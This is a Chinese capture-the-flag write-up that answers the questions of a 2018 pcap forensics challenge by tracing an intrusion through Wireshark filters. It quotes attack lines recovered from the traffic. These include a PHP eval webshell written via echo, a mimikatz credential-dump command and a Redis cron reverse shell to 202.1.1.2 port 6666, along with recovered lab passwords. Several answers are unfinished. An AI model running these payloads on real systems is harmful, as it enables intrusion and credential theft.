信息安全 数据赛 铁人三项_2018.6.1信息安全铁人三项赛数据赛writeup

原创

weixin_39945795 于 2020-12-19 13:32:31 发布 54 收藏
文章标签： 信息安全 数据赛 铁人三项

链接: https://pan.baidu.com/s/145V_xyiMNOlE5bFbCTtNNg 密码: v6wu

解压密码t3sec.org.cn

1.被攻击的两个服务器的内网ip分别是多少，以下简称服务器1和2(格式：空格分隔，按黑客攻击顺序排列)2.两台服务器的主机名分别是什么3.黑客使用了什么工具对服务器1进行的攻击(小写)4.黑容成功登陆网站后台的账号密码以及验证码是什么(格式user/pass/vcode)5.黑客向服务器1写入webshell的具体命令是什么(url解码后)6.服务器1都开启了哪些允许外连的TCP注册端口(端口号从小到大，用空格间隔)7.服务器1安装的修补程序名称8.网站根目录的绝对路径(注意：大写，左斜杠，最后要有一个斜杠)9.黑客使用什么命令或文件进行的内网扫描10.扫描结果中服务器2开放了哪些端口(端口号从小到大，用空格隔开)11.黑客执行的什么命令将administrator的密码保存到文件中12.服务器1的系统管理员administrator的密码是什么13.黑客进行内外扫描的ip范围(格式:xx.xx.xx.xx~xx.xx.xx.xx)14.服务器1的mysql的root用户的密码是什么15.黑客在服务器2中查看了哪个敏感文件(拿到shell之后)，请写出绝对路径16.服务器2的web网站后台账号密码(格式:账号/密码)17.黑客在redis未授权访问中反弹shell的ip和端口是多少18.黑客拿到root权限后执行的第二条命令是什么19.服务器2的root用户密码是什么20.黑客向服务器2写入webshell的命令21.pcap中哪些ip发送过无偿ARP包(空格分隔，时间顺序排序)

1.被攻击的两个服务器的内网ip分别是多少，以下简称服务器1和2(格式：空格分隔，按黑客攻击顺序排列)

数据包1

http

攻击者ip 202.1.1.2 服务器1ip 192.168.1.74 服务器2ip 见下面分析

2.两台服务器的主机名分别是什么

找phpinfo

http contains "phpinfo"

数据包二中找到

将返回的phpinfo源码复制到新建的html中，保存后打开

可以看到服务器1的主机名 TEST-7E28AF8836

在后续的数据包中继续过滤

ip.addr == 192.168.2.66 && http contains "phpinfo"

3.黑客使用了什么工具对服务器1进行的攻击(小写)

sqlmap

4.黑容成功登陆网站后台的账号密码以及验证码是什么(格式user/pass/vcode)

ip.addr == 192.168.1.74 && ip.addr ==202.1.1.2 &&http

发现数据包1中，一直在跑sqlmap

数据包2中，跑完sqlmap后开始扫目录

扫到后台后，开始登陆，看到下面返回admin后台相关的内容，说明此处提交的user和pwd正确

5.黑客向服务器1写入webshell的具体命令是什么(url解码后)

数据包二的最下面发现多了个，abc.php，应该不是网站本身的文件，看到上面通过php命令执行写的shell

http://202.1.1.1/tmpbjhbf.php?cmd=echo ^<?php ^ eval($_POST[ge]);?^>>abc.php

6.服务器1都开启了哪些允许外连的TCP注册端口(端口号从小到大，用空格间隔)

查看abc.php的请求包都是b64，所以abc.php菜刀一句话呀

总是b64decode太麻烦，不如看对应的返回包，大致能猜出菜刀做了什么操作

接着数据包3

菜刀上传了scan.php扫内网

tunel.nosoket.php作为内网代理

mimi下的mimikatz.exe用来dump服务器1的密码

可以看到服务器1开放的端口有80 135 445 1025 3306 3389 139

TCP注册端口(小于1024)

所以服务器1允许外连的TCP注册端口为80 135 139 445

这时候需要Google搞明白这几个端口是干啥用的。。

紧接着菜刀执行了systeminfo

返回

服务器1为Windows,修补程序Q147222

scan.php 扫描内网 192.168.1.1~192.168.3.255 扫描端口 21,80,8080,1433,3306,6379

追踪tcp流查看返回

Scanning IP 192.168.1.1
Port:80 is open

Scanning IP 192.168.1.8
Port:80 is open
Port:3306 is open

Scanning IP 192.168.1.33
17Port:3306 is open

Scanning IP 192.168.1.74

Port:80 is open

Port:3306 is open

Scanning IP 192.168.1.159

Port:80 is open

Port:8080 is open

Port:3306 is open

Scanning IP 192.168.1.169

15Port:80 is open

17Port:3306 is open

21

Scanning IP 192.168.2.1

15Port:80 is open

21

Scanning IP 192.168.2.20

15Port:80 is open

17Port:3306 is open

22

22

Scanning IP 192.168.2.66

15Port:80 is open

17Port:3306 is open

17Port:6379 is open

22

22

Scanning IP 192.168.2.88

15Port:21 is open

15Port:80 is open

17Port:3306 is open

22

21

Scanning IP 192.168.3.1

15Port:80 is open

Scanning IP 192.168.3.6

15Port:80 is open

17Port:3306 is open

21

7.服务器1安装的修补程序名称　从systeminfo返回可看出

8.网站根目录的绝对路径(注意：大写，左斜杠，最后要有一个斜杠)　phpinfo 可找到

9.黑客使用什么命令或文件进行的内网扫描　scan.php

10.扫描结果中服务器2开放了哪些端口(端口号从小到大，用空格隔开)

前面只扫了192.168.1.1-192.168.3.255 说明服务器2就从这个网段之间，并且有端口开放的那几个之间选择。。

数据包四

所以服务器2 ip 192.168.2.66

从上面scan.php返回结果可知，扫描结果中服务器2开放了80 3306 6379

11.黑客执行的什么命令将administrator的密码保存到文件中

返回数据包3，黑客用mimikatz dump下服务器已的密码

说明将administrator的密码保存到文件中 的操作就在这附近

cd /d "C:\WWW\my\mimi\"&mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt&echo [S]&cd&echo [E]

12.服务器1的系统管理员administrator的密码是什么

从上面mimiditz的log可知administrator的密码为Simplexue123

13.黑客进行内外扫描的ip范围(格式:xx.xx.xx.xx~xx.xx.xx.xx) 192.168.1.1~192.168.3.255

14.服务器1的mysql的root用户的密码是什么

mysql相关信息一般都存在config配置文件中

可以http过滤后查看113060到472649之间的config请求包及respone,或者直接过滤root

http contains "root"

15.黑客在服务器2中查看了哪个敏感文件(拿到shell之后)，请写出绝对路径

数据包5

tcp and !(tcp.port == 80) and !(tcp.port == 443) and !(tcp.stream eq 98) and ip.addr == 202.1.1.2

追踪tcp流

可看到绝对路径/var/www/html/

16.服务器2的web网站后台账号密码(格式:账号/密码)

http contains "admin" ||http contains "pass"

服务器2开启的6379端口应该是redis的，貌似黑客通过redis未授权访问拿到shell然后进行后续操作的。

那么应该过滤tcp.port == 6379

数据包4内没有相关内容

数据包5

* * * * * bash -i >& /dev/tcp/202.1.1.2/6666 0>&1

so黑客在redis未授权访问中反弹shell的ip和端口是202.1.1.2和6666

18.黑客拿到权限后执行的第二条命令是什么

cd /var/www/html

19.服务器2的root用户密码是什么

20.黑客向服务器2写入webshell的命令

21.pcap中哪些ip发送过无偿ARP包(空格分隔，时间顺序排序)

无偿arp包，可以发现isgratuitous必须为true。利用规则arp.isgratuitous == true可以找到数据包。。。

不过，我还是没找到。。。